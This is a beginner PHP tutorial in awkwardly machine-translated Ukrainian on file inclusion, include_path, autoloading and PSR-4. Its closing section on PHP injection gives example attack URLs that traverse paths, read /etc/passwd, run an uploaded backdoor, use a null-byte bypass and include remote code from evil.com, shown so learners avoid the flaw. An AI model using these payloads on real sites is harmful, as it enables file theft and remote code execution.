У продовженні серії “PHP для початківців”, сьогоднішня стаття буде присвячена тому, як PHP шукає і вкладені файли.

Для чого і чому

PHP це скриптова мова, створений спочатку для швидкого скульптури домашніх сторінок (так, так спочатку це ж Personal Home Page Tools), а в подальшому на нього вже почали створювати магазини, соціалки та інші вироби на коліні які виходять за межі задуманого, але до чого це я – а до того, що чим більше функціоналу закодовано, тим більше бажання його правильно структурувати, позбутися від дублювання коду, розбити на логічні шматочки і підключати лише при необхідності (це теж саме почуття, яке виникло у вас, коли ви читали цю пропозицію, його можна було б розбити на окремі шматочки). Для цієї мети в PHP є декілька функції, загальний зміст яких зводиться до підключення та інтерпретації зазначеного файлу. Давайте розглянемо на прикладі підключення файлів:

// file variable.php
$a = 0;
// file increment.php
$a++;
// file index.php
include (‘variable.php’);
include (‘increment.php’);
include (‘increment.php’);
echo $a;

Якщо запустити скрипт index.php, то PHP все це буде послідовно підключати і виконувати:

$a = 0;
$a++;
$a++;
echo $a; // виведе 2

Коли файл підключається, то його код виявляється в тій же області видимості, що й рядок в якій його підключили, таким чином всі змінні, доступні в даній рядку будуть доступні і в підключається файлі. Якщо у підключається файлі були оголошені класи або функції, то вони потрапляють в глобальну область видимості (якщо, звичайно, для них не було вказано namespace).

Якщо ви підключаєте файл всередині функції, то підключаються файли отримують доступ до області видимості функції, таким чином наступний код теж буде працювати:

function() {
$a = 0;
include (‘increment.php’);
include (‘increment.php’);
echo $a;
}
a(); // виведе 2

Окремо зазначу магічні константи: __DIR__, __FILE__, __LINE__ та інші – вони прив’язані до контексту і виконуються до того, як відбувається включення

Особливістю підключення файлів є той момент, що при підключенні файлу парсинг перемикається в режим HTML, з цієї причини будь-код всередині включається файлу повинен бути укладений в PHP теги:

А ви бачили на сайті-файл на 10 000 рядків? Аж сльози на очах…

Функції підключення файлів

Як вже було сказано вище, у PHP існує декілька функції для підключення файлів:

  • include – включає і виконує зазначений файл, якщо не знаходить – видає попередження E_WARNING
  • include_once – аналогічно функції вище, але включає файл один раз
  • require – включає і виконує зазначений файл, якщо не знаходить – видає фатальну помилку E_ERROR
  • require_once – аналогічно функції вище, але включає файл один раз

Насправді, це не зовсім функції, це спеціальні мовні конструкції, і можна круглі дужки не використовувати. Крім усього іншого є і інші способи підключення і виконання файлів, але це вже самі копайте, нехай це буде для вас “завдання із зірочкою” 😉

Давайте розберемо на прикладах різницю між require і require_once, візьмемо один файл echo.php:

text of file echo.php

І будемо його підключати кілька разів:

Результатом виконання буде два підключення нашого файлу:

text of file echo.php

text of file echo.php

Існує ще парочка директив, які впливають на підключення, але вони вам не знадобляться – auto_prepend_file і auto_append_file – вони дозволяють встановити файли які будуть підключені до підключення всіх файлів і після виконання всіх скриптів відповідно, я навіть не можу придумати живий сценарій, коли це може знадобитися.

Завдання

Таки придумати і реалізувати сценарій використання директив auto_prepend_file і auto_append_file, міняти їх можна тільки в php.ini, .htaccess або httpd.conf (див. PHP_INI_PERDIR) 🙂

Де шукає?

PHP шукає спільні файли в директоріях прописаних у директиві include_path. Ця директива також впливає на роботу функції fopen(), file(), readfile() і file_get_contents(). Алгоритм роботи досить простий – при пошуку файлів PHP по черзі перевіряє кожну директорію з include_path, поки не знайде підключається файл, якщо не знайде – поверне помилку. Для зміни include_path з скрипта слід використовувати функцію set_include_path().

При налаштуванні include_path слід враховувати один важливий момент – в якості роздільника шляхів в Windows і Linux використовуються різні символи “;” і “:” відповідно, так що при вказівці своїй директорії використовуйте константу PATH_SEPARATOR, наприклад:

// приклад шляху в linux
$path = ‘/home/dev/library’;
// приклад шляху в windows
$path = ‘c:\Users\Dev\Library’;
// для linux і windows код зміна include_path ідентичний
set_include_path(get_include_path() . PATH_SEPARATOR . $path);

Коли ви прописуєте include_path в ini-файлі, то можете використовувати змінні типу ${USER}:

include_path = “.:${USER}/my-php-бібліотека”

Якщо при підключенні файлу ви прописуєте абсолютний шлях (який починається з “/”) або відносний (починається з “.” або “..”), то директива include_path буде проігнорована, а пошук буде здійснено тільки за вказаним шляхом.

Можливо варто було б розповісти і про safe_mode, але це вже давно історія (з версії 5.4), і я сподіваюся ви стикатися з ним не будете, але якщо раптом, то щоб знали, що таке було, але пройшло

Використання return

Розповім про невеликому life-hack’е – якщо підключається файл повертає що-небудь з використанням конструкції return, то ці дані можна отримати і використовувати, таким чином можна легко організувати підключення файлів конфігурації, наведу приклад для наочності:

return array(
‘host’ => ‘localhost’,
‘user’ => ‘root’,
‘pass’ =>”
);
$dbConfig = require ‘config/db.php’;
var_dump($dbConfig);
/*
array(
‘host’ => ‘localhost’,
‘user’ => ‘root’,
‘pass’ =>”
)
*/

Цікаві факти, без яких жилося і так добре: якщо під включається файлі визначені функції, то вони можуть бути використані в основному файлі незалежно від того, чи були вони оголошені до return або після

Завдання
Написати код, який буде збирати конфігурацію з декількох папок і файлів. Структура файлів наступна:

config
|– default
| |– db.php
| |– debug.php
| |– language.php
| `– template.php
|– development
| `– db.php
`– production
|– db.php
`– language.php

При цьому код повинен працювати наступним чином:

  • якщо у системному оточенні є змінна PROJECT_PHP_SERVER і вона дорівнює development, то повинні бути підключені всі файли з папки default, дані занесені в перемененную $config, потім підключені файли з папки development, а отримані дані повинні перетерти відповідні пункти збережені в $config
  • аналогічну поведінку якщо PROJECT_PHP_SERVER дорівнює production (звісно тільки для папки production)
  • якщо змінної немає, або вона задано невірно, то підключаються тільки файли з папки default

Автоматичне підключення

Конструкції з підключенням файлів виглядають дуже громіздко, так і ще й стежити за їх оновленням – ще той подаруночок, зацініть шматочок коду з прикладу статті про виключення:

// load all files w/out autoloader
require_once ‘Education/Command/AbstractCommand.php’;
require_once ‘Education/CommandManager.php’;
require_once ‘Education/Exception/EducationException.php’;
require_once ‘Education/Exception/CommandManagerException.php’;
require_once ‘Education/Exception/IllegalCommandException.php’;
require_once ‘Education/RequestHelper.php’;
require_once ‘Education/Front.php’;

Щоб уникнути подібного “щастя” була придумана функція __autoload – з її допомогою можна підключати потрібні нам файли по імені класу, але лише за однієї умови – для кожного класу створений окремий файл по імені класу. Ось приклад реалізації функції __autoload() (приклад з коментарів в мануалі):

Клас який будемо підключати:

// клас myClass в окремому файлі myClass.php
class myClass {
public function __construct() {
echo “myClass init’ed successfuly!!!”;
}
}

Файл, який підключає даний клас:

// приклад реалізації
// шукаємо файли в поточній директорії
function __autoload($classname) {
$filename = $classname .”.php”;
include_once($filename);
}
// створюємо клас
$obj = new myClass();

Тепер про проблеми з даною функцією – уявіть на хвилиночку ситуацію, що ви підключаєте сторонній код, а там вже хтось прописав функцію __autoload() для свого коду, і вуаля:

Fatal error: Cannot redeclare __autoload()

Щоб такого не було, створили функцію, яка дозволяє реєструвати довільну функцію або метод в якості завантажувача класів – spl_autoload_register, тепер index.php буде виглядати наступним чином:

// приклад реалізації
// шукаємо файли в поточній директорії
function myAutoload($classname) {
$filename = $classname .”.php”;
include_once($filename);
}
// реєструємо завантажувач
spl_autoload_register(‘myAutoload’);
// створюємо клас
$obj = new myClass();

Рубрика “а ви знали?”: перший параметр spl_autoload_register() не є обов’язковим, і викликавши функцію без нього, як завантажувача буде використовуватися функція spl_autoload, пошук буде здійснено по папках з include_path і файлів з розширенням .php .inc, але цей список можна розширити за допомогою функції spl_autoload_extensions

Тепер кожен розробник може реєструвати свій завантажувач, головне щоб імена класів не збігалися, але це не повинно стати проблемою, якщо ви використовуєте простору імен.

Оскільки вже давно існує такий просунутий функціонал як spl_autoload_register(), то функцію __autoload() хочуть заявити як deprecated в PHP 7.1, а це значить, що 7.2 її зовсім може не бути

Ну більш-менш картина прояснилася, хоча стривайте, всі зареєстровані завантажувачі стають у чергу, по мірі їх реєстрації, відповідно якщо хтось нахімічив свого завантажувачі, то замість очікуваного результату може вийде дуже неприємний баг. Щоб такого не було, дорослі розумні дядьки описали стандарт, який дозволяє підключати сторонні бібліотеки без проблем, головне щоб організація класів у них відповідала стандарту PSR-0 (вже застарів) або PSR-4. В чому суть вимог описаних у стандартах:

  • Кожна бібліотека повинна жити у власному просторі імен (т. зв. vendor namespace)
  • Для кожного простору імен повинна бути створена власна папка
  • Всередині простору імен можуть бути свої підпростори – теж в окремих папках
  • Один клас – один файл
  • Ім’я файлу з розширенням .php має точно відповідати імені класу
  • Приклад з мануала:

    Повне ім’я класу
    Простір імен
    Базова директорія
    Повний шлях
    \Acme\Log\Writer\File_Writer Acme\Log\Writer ./acme-log-writer/lib/ ./acme-log-writer/lib/File_Writer.php
    \Aura\Web\Response\Status Aura\Web /path/to/aura-web/src/ /path/to/aura-web/src/Response/Status.php
    \Symfony\Core\Request Symfony\Core ./vendor/Symfony/Core/ ./vendor/Symfony/Core/Request.php
    \Zend\Acl Zend /usr/includes/Zend/ /usr/includes/Zend/Acl.php

    Відмінності цих двох стандартів, лише в тому, що PSR-0 підтримує старий код без простору імен, а PSR-4 позбавлений від цього анахронізму, та ще й дозволяє уникнути непотрібної вкладених папок.

    Завдяки цим стандартам стало можливо поява такого інструменту як composer – універсального менеджера пакетів для PHP:

    PHP-ін’єкція

    Ще хотів розповісти про першої помилки всіх, хто робить єдину точку входу для сайту в одному index.php і називає це MVC-фреймворком:

    Дивишся на код, і так і хочеться чого-нитку шкідливого туди передати:

    // отримати несподівану поведінку системи
    http://domain.com/index.php?page=../index.php
    // прочитати файли в директорії сервера
    http://domain.com/index.php?page=config.ini
    // прочитати системні файли
    http://domain.com/index.php?page=/etc/passwd
    // запустити файли, які ми заздалегідь залили на сервер
    http://domain.com/index.php?page=user/backdoor.php

    Перше, що приходить на розум – примусово додавати розширення .php, але в ряді випадків це можна обійти “завдяки” уразливість нульового байта (почитайте, цю уразливість вже давно виправили, але раптом вам попадеться інтерпретатор більш давній, ніж PHP 5.3, ну і для загального розвитку теж рекомендую):

    // прочитати системні файли
    http://domain.com/index.php?page=/etc/passwd%00

    У сучасних версіях PHP наявність символу нульового байта в дорозі підключається файлу відразу призводить до відповідної помилку підключення, і навіть якщо вказаний файл існує і його можна підключити, то в результаті завжди буде помилка, це перевіряється наступним чином strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) (це з недров самого PHP)

    Так само існує “чудова” директива allow_url_include (у неї залежність від allow_url_fopen), вона дозволяє підключати і виконувати віддалений PHP файли, що набагато небезпечніше для вашого сервера:

    // підключаємо віддалений PHP скрипт
    http://domain.com/index.php?page=http://evil.com/index.php

    Побачили, запам’ятали, і ніколи не користуйтеся, благо за замовчуванням вимкнено. Дана можливість вам буде потрібно трохи рідше, ніж ніколи, у всіх інших випадках закладайте правильну архітектуру програми, де різні частини програми спілкуються за допомогою API.

    Завдання

    Написати скрипт, який дозволить підключати php-скрипти з поточної папки з назви, при цьому наслідують пам’ятати про уразливість і не допустити помилок.

    Висновок

    Дана стаття – основа основ PHP, так що вивчайте уважно виконуйте завдання і не филоньте, за вас ніхто вчити не буде.